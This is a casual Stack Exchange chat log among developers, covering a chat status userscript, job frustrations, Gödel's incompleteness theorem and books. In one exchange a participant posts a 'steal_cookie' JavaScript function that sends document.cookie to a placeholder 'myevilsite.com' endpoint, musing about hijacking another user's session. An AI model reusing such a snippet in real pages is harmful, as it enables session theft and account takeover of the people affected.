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balpha

6:00 PM

120 volts won't stop a clueless user with a mission

ircmaxell

No, but it'll be funny to watch

zzap huh? what was that. Ok, let me try again. zzap wtf. Every time I try to touch it I get zapped...

drachenstern

@ircmaxell manythings.org/jokes/9995.html

Tim Stone

@balpha You don't need to stop the user, just their heart.

ircmaxell

hehehe

@balpha 120v DC will stop most people cold... Tiny semantic difference...

balpha

The Renamed Exception

6:06 PM

Sweet, now it actually does work

in Status Script Discussion, 3 mins ago, by The Renamed Exception

Chat /status script v0.3a2 now available. Now works in all rooms, auto-join works, and provides ThirdPlace alpha 1!

Script is actually usable now!

\o/

Nyuszika7H

> You have 5 votes left today

ircmaxell

Anyone want a userscript challenge?

mootinator

/status Hooray!

drachenstern

@ircmaxell > As my electrical safety instructor said, "The reason we now have to teach the electrical safety course to all electricians at least twice per year is because some joe was bright enough to be the one person in the world who could figure out how to kill himself with a 9V battery."

@TheRenamedException Yatta!

The Renamed Exception

@mootinator sorry, forgot to mention, the script requires rchern/Tim/Yi/etc's awesome SEChatModifications script

Tim Stone

6:10 PM

Dependency-based advertising FTW >:D

Nyuszika7H

> Daily vote limit reached, vote again in 5 hours.

The Renamed Exception

LOL

Tim Stone

9

Q: SE Chat Modifications -- Keyboard navigation and commands for chat

Screenshot Use /command shortcuts to perform common chat tasks: See message history inline: Easily preview replied-to messages: And much, much more... About Legends tell of a prolific Meta Stack Overflow chatter who despised using their mouse above all things. In an effort to keep t...

drachenstern

@TheRenamedException I think he was making a joke and a congratulation, not attempting to use it ;)

The Renamed Exception

@drachenstern I think so too

But I did forget to mention the status script requires SE Chat Modifications

mootinator

6:12 PM

@TheRenamedException I think I have an old SE Chat Modifications which isn't compatible with newfangled addons.

drachenstern

@mootinator try submitting this code: /update as your text

Tim Stone

SE Chat Modifications v1.0 - It's like New Coke, if New Coke was Classic Coke.

How the hell is it already lunch time?

drachenstern

@TimStone oh don't tell me that :\

The Renamed Exception

I'm going to post to stack apps now... anyone want to help me make a screenshot? :-)

Nyuszika7H

@TimStone Um… 1.0 is new?

drachenstern

6:14 PM

ffs, have I gotten anything done today? (yes, two tickets closed)

Tim Stone

We don't have versioning, so everything is v.10.

Nyuszika7H

Josh's Socks

I see @Nyuszika7H and @mootinator's statuses, yey!

Nyuszika7H

@JoshsSocks I don't have a status set…

The Renamed Exception

@JoshsSocks yeah but not working for me in The tavern, damn :-(

Josh's Socks

6:16 PM

@Nyuszika7H oh? I see status "available - testing status script"

Nyuszika7H

@JoshsSocks refresh

mootinator

Are they supposed to be more visible than clicking on the avatar?

The Renamed Exception

@mootinator the avatars should have colored borders around them

ircmaxell

@drachenstern Ha!

The Renamed Exception

Also, when you hover, you should get a tool tip with the status

mootinator

6:17 PM

Ah

Nyuszika7H

@TheRenamedException I don't like that… I like to see the user name in the tooltip.

The Renamed Exception

do those work for you?

mootinator

Not in this room

The Renamed Exception

@Nyuszika7H name's still there

name - status

@mootinator damn. OK. the script's not ready for posting yet :-(

ircmaxell

I'd love to see a residual rep calculation done. Basically parse the /reputation page, and find all rep earned more than 168 hours after the first rep for a post (more than a week).

Nyuszika7H

6:19 PM

I don't see the point of the auto-joining… and in production, it would be better to post the statuses in the current room rather than in a control room…

The Renamed Exception

@Nyuszika7H no way would it be better to post to the current room

Klaus Byskov Hoffmann

@ircmaxell what about uncap'ed rep? Reputation that the user would have had, had it not been for the daily rep cap.

ircmaxell

@KlausByskovHoffmann: that's doable via a query on the data export (and exists)

Nyuszika7H

status-meh

mootinator

DOING

The Renamed Exception

6:20 PM

@Nyuszika7H the point of the control room is to exchange status messages without adding additional load. If you don't join that room the script won't be able to get status updates

ircmaxell

@KlausByskovHoffmann data.stackexchange.com/stackoverflow/s/824/…

Klaus Byskov Hoffmann

@ircmaxell thanks

ircmaxell

np

although that doesn't include the +5 from upvoted questions...

Josh's Socks

@mootinator thank you for helping test. I see your status updates using Firefox, but not using chrome. So there's cleary a bug somewhere

The Renamed Exception

@balpha is cheating :-)

drachenstern

6:23 PM

@mootinator did you install everything and refresh both rooms?

Josh's Socks

The Renamed Exception

@drachenstern I think the script is not refreshing properly in the one tab that polls

balpha

@TheRenamedException yes, I reverse-engineered your work. SEE HOW THAT FEELS???

8

The Renamed Exception

So I reversed the situation, LOL. Before it only worked in the one tab/window that polls, now it works in every tab/window besides the one which polls :-p

@balpha ahahahahahaha

Tim Stone

@balpha He got warm fuzzies inside because you cared enough to. This will only motivate us further.

Rebecca Chernoff

6:25 PM

lmao

Josh's Socks

@TimStone this is true, I feel all warm and fuzzy now. Then again, I am made of wool...

Rebecca Chernoff

|:

Tim Stone

Hah :P

mootinator

:540978

yeppers.

Nyuszika7H

@mootinator If you want to quote and you have SCM, use /quote postid

The Renamed Exception

6:27 PM

OK. Time for lunch. Script improved but clearly still buggy :-/

Tim Stone

Oh right, I was trying to think of what to eat.

drachenstern

@TimStone bah food

mootinator

Client: Why does the computer do this?

Me: Because I told it to.

I feel like I have that conversation a lot.

Tim Stone

People complaining because things are working as they're supposed to? Heh

Nyuszika7H

jQuery.post('/users/153011/usermesssage/', {
    'fkey': fkey().fkey,
    'message': 'Status: Available'
});

not working :/

I guess the fkey is used to prevent others from changing other users' statuses… but what if you get someone's fkey? Can you change their status?

The Renamed Exception

6:34 PM

@Nyuszika7H you need their cookie also

I know this from my XMPP work

Nyuszika7H

And why isn't my previous code working? 153011 is my ID.

The Renamed Exception

@Nyuszika7H because it's /users/usermessage/id :-)

Tim Stone

If only reps were food, then I'd be full.

The Renamed Exception

I am out to lunch. If you want svn access to the status script, email me

Popular Demand

@TimStone Show-off.

Nyuszika7H

6:36 PM

function steal_cookie() {
    location.href = 'http://myevilsite.com/steal.php?cookie=' + document.cookie;
    // using $_GET in myevilsite's PHP code and maybe a history.go(-1); in JS if stealing is done
}

The Renamed Exception

@Nyuszika7H cookie is httponly ;-)

Tim Stone

@PopularDemand Well, I haven't hit rep cap yet, then I'd be stuffed. :P

Nyuszika7H

@TheRenamedException :)

drachenstern

omg why is my boss breaking shit?

I get that he's owner, I get that he has more vision for where he wants things

Tim Stone

Apparently he wants them to go into the garbage, since they no longer work :P

drachenstern

6:41 PM

but when I write a f#$%$% database cleanup G@#D@#$ script, don't f@#$@#$ rewrite my script and break it!

Tim Stone

Heh, that sucks.

drachenstern

There's a reason I want to cleanup the database on failed runs

There's a reason I included all those tables in the cleanup script

they weren't there to piss off time

they weren't there by accident

I don't write accidental code.

I may do things that are accidentally brilliant, but I certainly don't write code that specifically has to be called by a dev from the db and do it wrong on purpose

ffs

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@drachenstern That gives me a great idea for balpha's latest MSO question!

ircmaxell

backups?

drachenstern

no wonder my cleanup script ran so fast before, I figured it was gonna take at least three or four minutes, not three or four seconds

Tim Stone

6:44 PM

@PopularDemand I thought about suggesting that we pretend that @balpha's NaRQ game was real, but I didn't know how to frame it.

drachenstern

@ircmaxell sadly, we apparently don't believe in SCM for our SQL scripts (well, there's one person who's "trusted" to run them, no matter that I've tried to figure out three or four free or paid ways for us to run them all individually and be responsible for our own work)

And then he wants to tell me how I'm making us be behind schedule because I take off time to goto the doctor, or to take my wife to the doctor, who he's known is agoraphobic and on SSI

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@TimStone I had about ten different ideas, but I think we've reached the saturation point.

Tim Stone

I think so too, heheh. :P

drachenstern

and yet he just willy-nilly rewrites parts of my code that are necessary and then wants me to fix the shit that gets broken

@#$()* ... anybody wanna offer me a job?

Tim Stone

@drachenstern Ouch!

How's your Java? ;)

Popular Demand

6:46 PM

@drachenstern What Tim asked.

drachenstern

@TimStone It could be pretty good given a two month ramp-up period ;)

From what I've seen C# and Java follow the same basic paths and principles

Tim Stone

That conveniently sounds like the time we'd be hiring, hahah.

drachenstern

lol

Popular Demand

How about your willingness to relocate?

mootinator

@TimStone I didn't say I necessarily told it the right thing to do.

drachenstern

6:46 PM

If you're serious take it to skype :p

Tim Stone

Java is C# but with zero shortcuts and less built-in.

drachenstern

bah shortcuts, if I have an Object, a marshaller and some filesystem stuff, I'm good

Tim Stone

@mootinator But you can always insist that you did.

drachenstern

@PopularDemand you I don't have on skype, but you know how to gmail me

Popular Demand

@drachenstern I do?

drachenstern

6:48 PM

The dumb part is I love my job

@PopularDemand the username doesn't change, even if the service does. I'm consistent like that, when I can be.

Popular Demand

@drachenstern Just making sure.

drachenstern

> (4579200 row(s) affected)

that's the result I was looking for the first time ... ahhhh

Now I know my db stuff is cleaned up

Tim Stone

@drachenstern I'm partially serious, but I'll delay any mentioning of anything until I'm more serious than that (I'm aware that hardly makes sense, but it's more intelligent in context, I swear)

Popular Demand

@TimStone Go. Eat.

drachenstern

@TimStone and like I said, take it to skype as that's not a convo for here, for if you're serious ;)

@PopularDemand seconded

Tim Stone

6:49 PM

Right! Food.

drachenstern

I should do so too now that I know where my scripts are bottlenecking

Nyuszika7H

0

Q: StackExchange™ MultiCollider SuperDropdown™ redirects to stackexchange.com

Since today, the StackExchange™ MultiCollider SuperDropdown™ is redirecting to http://stackexchange.com.

support bug

Rebecca Chernoff

erm, what?

the link there has always gone to stackexchange.com

drachenstern

Yeah, and if you click it too soon it takes you there too. You have to wait for the DOM to load.

are you getting javascript errors in your console?

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7

Q: Clicking on the StackExchange™ MultiCollider SuperDropdown™ links to StackExchange.com before page is loaded

The behavior of the StackExchange™ MultiCollider SuperDropdown™ is different before and after the page fully loads. While page is loading: Links to StackExchange.com After page load: StackExchange™ MultiCollider SuperDropdown™ (Showing inbox if you have new items) This becomes a bug when you h...

bug global-inbox stackexchange-button

Rebecca Chernoff

6:51 PM

Errr, never seen that.

drachenstern

@RebeccaChernoff it's true

Rebecca Chernoff

lies!

drachenstern

@RebeccaChernoff statistics!

Rebecca Chernoff

but seriously, shrugs

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@drachenstern SO is hiring:

drachenstern

6:53 PM

Torgamus I would gmail you but I don't have any such info :p

Nyuszika7H

Why I need 4 votes from other users to close… my own questions?!

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> Sidekick to the CEO - As a Hot VC-Funded Internet Startup, our CEO has more work than he can handle. Your job is to follow him around and double his throughput. Pick any title you want: VP of Strategy, Assistant to the District Manager, whatever. You’re in charge of printing the business cards anyway, so go ahead and put "Grand Duchess" as your title.

drachenstern

@PopularDemand so I've heard, and I don't think I have the assets to be the position that seems to be the most entertaining to me ;)

@PopularDemand namely I wouldn't be a great "Grand Duchess" so that would be ... awkward

Popular Demand

> You’re going to be working directly with Joel way more than any sane person could tolerate and you’re going to laugh at his jokes about Cantor’s Diagonal Proof even if they don’t make any sense. You’re also going to do a lot of irritating work, like waiting on hold with goddamn AT&T

drachenstern

But all the rest of it I would be totally game for

Popular Demand

6:54 PM

@drachenstern Won't know 'til you try!

drachenstern

I just have a feeling they're looking for someone with the proper ass-ets

@PopularDemand true enough

I should email the team huh? :p

"so uh, why hasn't this position been filled yet? no applicants?"

Popular Demand

@drachenstern "Well, yeah. You didn't see the part where you'd have to work with <sub>Joel</sub>?"

ircmaxell

@drachenstern sorry to hear that

mootinator

I was going to ask a question.

But this cool site I found already had the answer.

9

Q: SQL UPDATE order of evaluation

What is the order of evaluation in the following query: UPDATE tbl SET q = q + 1, p = q; That is, will "tbl"."p" be set to q or q + 1? Is order of evaluation here governed by SQL standard? Thanks. UPDATE After considering Migs' answer, I ran some tests on all DBs I could find. While I don...

sql update evaluation evaluation-order

ircmaxell

@Nyuszika7H You can self-delete..

Nyuszika7H

6:56 PM

@ircmaxell oh yeah forgot that

drachenstern

@PopularDemand that ... doesn't seem like a "problem" to me. I have a feeling I would be a good match in that regard.

Popular Demand

@drachenstern To be honest I only mentioned that because I thought the description was hilarious and wanted to share.

Nyuszika7H

3

Q: You can accept this answer in 10 minutes.

Yay! I found my answer! Lets give it +1 rating and accept it. So i click the +1 button and then i get this message: don't forget you can mark this as the accepted answer by clicking his checkmark Okay, i'll do! Clicks the checkmark You can accept this answer in 10 minutes. WHY? Greetings

support accepted-answer messages

ircmaxell

Interesting

Nyuszika7H

dupe of

2

Q: Why do you have to wait 8 Minutes before you can accept an answer?

A user wants to accept an answer, but he can't, because of a delay of 8 minutes. Why must he wait? See the comment at the bottom of my answer please.

support accepted-answer

drachenstern

6:58 PM

@PopularDemand oh yeah, I've laughed at it many times, and as it's not been removed, I strongly feel I should consider sending a cover letter and a link to my newly updated CV on careers2.0 and a list of reasons why I would make a kickass assistant

Moshe

@Rebecca I've just handled a bunch of issues and I need some feedback. When you can, please leek at github

drachenstern

@PopularDemand this is the line that scares me: You’re going to be doing a lot of amazing things way above your pay grade here.

Popular Demand

@drachenstern Yeah, but it's scary in a good way. I think.

drachenstern

> insanely organized, you rotate your socks carefully so each pair gets the same amount of wear

I almost do that ... I definitely have three tiers of socks

> enough programming knowledge to cobble together quick and dirty internal code

demonstrated this often enough ;)

> understands Gödel’s Proof

I don't have a math minor for nothing

dmckee

You earned the "reputation" badge.

Say what?

meta.stackoverflow.com/badges/88/reputation?userid=2509

mootinator

7:01 PM

lol

dmckee

Meta tags are weird

mootinator

Go for unicorn

dmckee

I want.

I want bad.

mootinator

I see @mootinator doesn't know how to tell what view he's looking at. Hmm.

ircmaxell

@drachenstern Know it, or understand it? Because they are two very different things...

drachenstern

7:03 PM

@ircmaxell I feel I understand it, if I understand the theorem correctly: the simple version goes like this:

> Gödel showed that for any formal axiomatic system, there is always a statement about natural numbers which is true, but which cannot be proven in the system

Tim Stone

reappears with cheeseburgers, and indication that all is right with the world

dmckee

I understood it for one, brief, shining moment.

That or I was drunk

Nick T

stackoverflow.com/tags/unicorn/info

ircmaxell

@drachenstern That's the wording of the proof, but what's the concept, the takeaway of the theory

drachenstern

@ircmaxell all systems must be defined from the outside. No system can be self-designing

ircmaxell

7:05 PM

that's not true at all

You can have systems that are 100% self-designing

drachenstern

@ircmaxell then tell me your take on it

Nyuszika7H

markup.io/v/76b8q8r038ab WTF?! My rep and my badge counts are -NaN. It's not funny @IvoFlipse, it isn't April Fools' Day!

ircmaxell

All systems of sufficient power cannot be completely and consistently self-designing

Nick T

So why are people editing the tag wiki for unicorn who apparently have no idea what unicorn is?

ircmaxell

trivial systems can be built that lack any form of self-reference

but any system that's powerful enough to be mapped into natural numbers must not be self-defining since natural numbers are not self defining

drachenstern

7:07 PM

@ircmaxell redefinition: I'm using systems to mean in the mathy sense, like "algebra" is a system. There are certain axioms of algebra that must hold true. The operator + giving meaning to 1 + 1 = 2 is defined as part of algebra. However, the unit 1, being a part of algebra, must be defined before algebra can be begun to be defined.

ircmaxell

right

mootinator

@NickT Presumably because the mods have a sense of humour, and people who do know what unicorn is don't have enough non-wiki answer upvotes.

drachenstern

I think I need a moment to regroup my answer, and food would probably help

Popular Demand

@TimStone So. Jealous.

Nyuszika7H

ircmaxell

7:08 PM

@drachenstern: it's mostly correct. The only part that's slightly off is the all systems. since you can build a paradox, consistent and complete system. It's just not powerful...

Tim Stone

Mm, delicious.

drachenstern

but yeah, effectively my argument is this: the unit 1 must be defined before we can define the system algebra. All the rest of algebra can be defined off that axiom.

@ircmaxell true, I see your point.

mootinator

@NickT Aside from the bit where anyone can edit now.

Nyuszika7H

@TimStone NO don't eat my kitty!!

ircmaxell

@drachenstern Well, all axiomatic (and hence formal) systems must have a definition

drachenstern

7:09 PM

I didn't intend to imply that paradoxical systems were included, but you're correct, my use of the term "all" broke my attempted initial observation

ircmaxell

Yeah, without all, you're on the money with that

dmckee

'sides, kittens aren't delicious. They're gamey and if you let them get any older than that, tough.

Nyuszika7H

function PARADOX() {
    console.log('PARADOX!!!');
    setTimeout(PARADOX, 0);
}
setInterval(PARADOX, 0);

ircmaxell

But surprisingly, not many people who claim to understand the incompleteness theorem actually do...

Nick T

drachenstern

7:10 PM

@ircmaxell so like I say, I tend to think I understand Gödel but I would say that my understanding is rather linked to the theorem itself ;)

@ircmaxell I need a moment to reparse that ...

ircmaxell

hehehe

Well, I should rephrase that, not many people who claim to understand the theorem actually understand the meaning of it (the meta-understanding if you will)

drachenstern

[But surprisingly], [not many people] [who claim to understand the incompleteness theorem] [actually do]...

Those who claim to understand the incompleteness theorem often do not actually understand it as well as they think they do, which should be surprising.

ircmaxell

Yes

drachenstern

except it's not surprising to me.

ircmaxell

Have you read GEB?

amazon.com/G%C3%B6del-Escher-Bach-Eternal-Golden/dp/0465026567

drachenstern

7:14 PM

@ircmaxell I have not, but from the blurb at the top of WP I would love to

ircmaxell

It's one of those books that has the power to change the way you think...

I found it absolutely amazing.

Shog9

It remains the only book I've purchased thrice and yet never finished reading.

ircmaxell

LOL! 3 times?

Shog9

Gotta stop loaning / leaving it places.

ircmaxell

Ahhh

yeah, that is a problem

Shog9

7:16 PM

I suppose this is where e-books have an advantage... But arguably the best part of GEB is the satisfying thud it makes when you throw it.

ircmaxell

that's why I have a rule: never loan a book to anyone until I'm done reading it

mootinator

@Shog9 That was my favorite feature of "Atlas Shrugged" incidentally.

ircmaxell

@Shog9 Yeah, it is a beast (what, 832 pages)

mootinator

I'm not sure what people see in that book.

Point taken after first 100 pages, move along.

ircmaxell

Well, you need to realize, it wasn't written for math majors

Shog9

7:18 PM

Well, that's why I generally start reading books somewhere in the middle.

ircmaxell

I did skip some chapters

mootinator

I would order that.

Shog9

...which makes programming books really interesting - I'll bet Skeet never intended "C# In Depth" to have a cliff hanger

mootinator

But I just got my copy of Code Complete 2, and I haven't worn it out from throwing it at things.

ircmaxell

@mootinator Then don't read I Am A Strange Loop. It's very interesting

amazon.com/Am-Strange-Loop-Douglas-Hofstadter/dp/0465030793/…

mootinator

7:21 PM

:/

Shog9

PLEASE MY DEAREST INTELLECTUALS

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Q: MEMORY READ/WRITE PROCESSES

PLEASE MY DEAREST INTELLECTUALS, THE PROCESSOR PERFORMS READ/WRITE PROCESSES FROM AND TO THE MEMORY. PLEASE, MY QUESTION IS; WHAT IS THE UNIFIED NAME (OR COMPUTER TERM) FOR READ/WRITE PROCESS? OR IS THERE A UNIFIED NAME FOR READ/WRITE CYCLE? PLEASE ANSWERS TO BOTH QUESTIONS ARE IMPORTANT. T...

memory read write processor

drachenstern

!AGAIN! ~ Another bit of perfectly functioning code he has altered on a customer site for no discernible or documented reason! ffs

@mootinator that is an awesome book, I'm about to read it again.

Shog9

Tempted, oh... sooo tempted... To re-write that with "Yo, peeps!" as the salutation.

Klaus Byskov Hoffmann

@Shog9 I think you should

mmyers

I never could never bring myself to read any of Douglas Hofstadter's books. All I ever got was the Martin Gardner pop version.

mootinator

7:22 PM

So tempted to answer IO IO ITS OFF TO WORK WE GO even though it isn't an answer.

Popular Demand

I hate it when I see something I want to flag, and then see that a mod has already commented to agree with what I was going to say but taken no action.

mmyers

He uncommented.

Popular Demand

@mmyers Not just this one instance, but thank you.

drachenstern

@PopularDemand tbh he gets flak for being moody so I imagine he wanted to use his shortleash instead of going to town on the Q... also note that the community on SO does a pretty good job cleaning things up on it's own, mods should be watching other things, on SO, imo

speaking of modding a site ...

Popular Demand

@drachenstern It's also usually not him.

drachenstern

7:26 PM

@PopularDemand there's that too

I should eat. That means leaving. That means not answering coworkers questions or seeing the boss do obtuse things that make me want to scream

Shog9

@PopularDemand what are you talking about?

mmyers

Who gets flak for being moody?

Shog9

@drachenstern I scanned that and read "obtuse" as "obese". It was good.

Klaus Byskov Hoffmann

C# MySql query result to combobox.

Popular Demand

@Shog9 If I want to flag something as "Not an answer" and then see that someone with a diamond has left a comment stating "You should really write things like this as comments, not separate answers."

@drachenstern That just flashed "Don't you have a kingdom to run?" from Warcraft II in my head.

mmyers

7:28 PM

Ah. We have been encouraged to leave comments as signposts rather than just deleting everything instantly, particularly on new posts.

Popular Demand

@mmyers I thought you had a new mod-only private messaging system for that. Or is this for the benefit of passersby?

Shog9

How can I active an edit to this?

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@Shog9 ...actively?

badp's sockpuppet

0

A: Careers 2.0 Featured Listing: Web company needs successor for retiring unicorns

Quora was right all along: Unlock favourite/ignored tag editing for all users. +2 rep per suggested interesting topic. All suggested interesting topics are automatically accepted. No exceptions. Followers! You can follow people by starring them. +10 per follow. −2 per unfollow. To kick...

I'm sure you can improve this one.

Pearsonartphoto

Wow, my oy comment is up to 5 stars now...

mmyers

7:31 PM

We have also been gently encouraged to NOT USE THE MESSAGING SYSTEM UNLESS BABIES ARE BEING KILLED (Jeff's words, not mine).

badp's sockpuppet

Babies are killed every time Welbog downvotes, however.

Shog9

Welbog kills babies with lasers and mod flags, not down-votes.

badp's sockpuppet

@Shog9 How do you think he clicks?

Shog9

I don't ask questions like that, because I don't want to know.

badp's sockpuppet

Food for thought.

Shog9

7:34 PM

speaking of food...

LEFTOVER BISCUITS!

mmyers

Oh good. I wasn't sure where you were going to go with that.

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@mmyers You never know what's going on on the other side of the Internet connection. Better always use it, just to be sure.

Klaus Byskov Hoffmann

This is almost funny. Instead of urllib (which fetches data from a url) the OP wants a library that sends data to a url.

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Q: python library that is the inverse of urllib?

urllib fetches data from urls right? is there a python library that can do the reverse of that and send data to urls instead (for example, to a site you are managing)? and if so, is that library compatible with apache? thanks.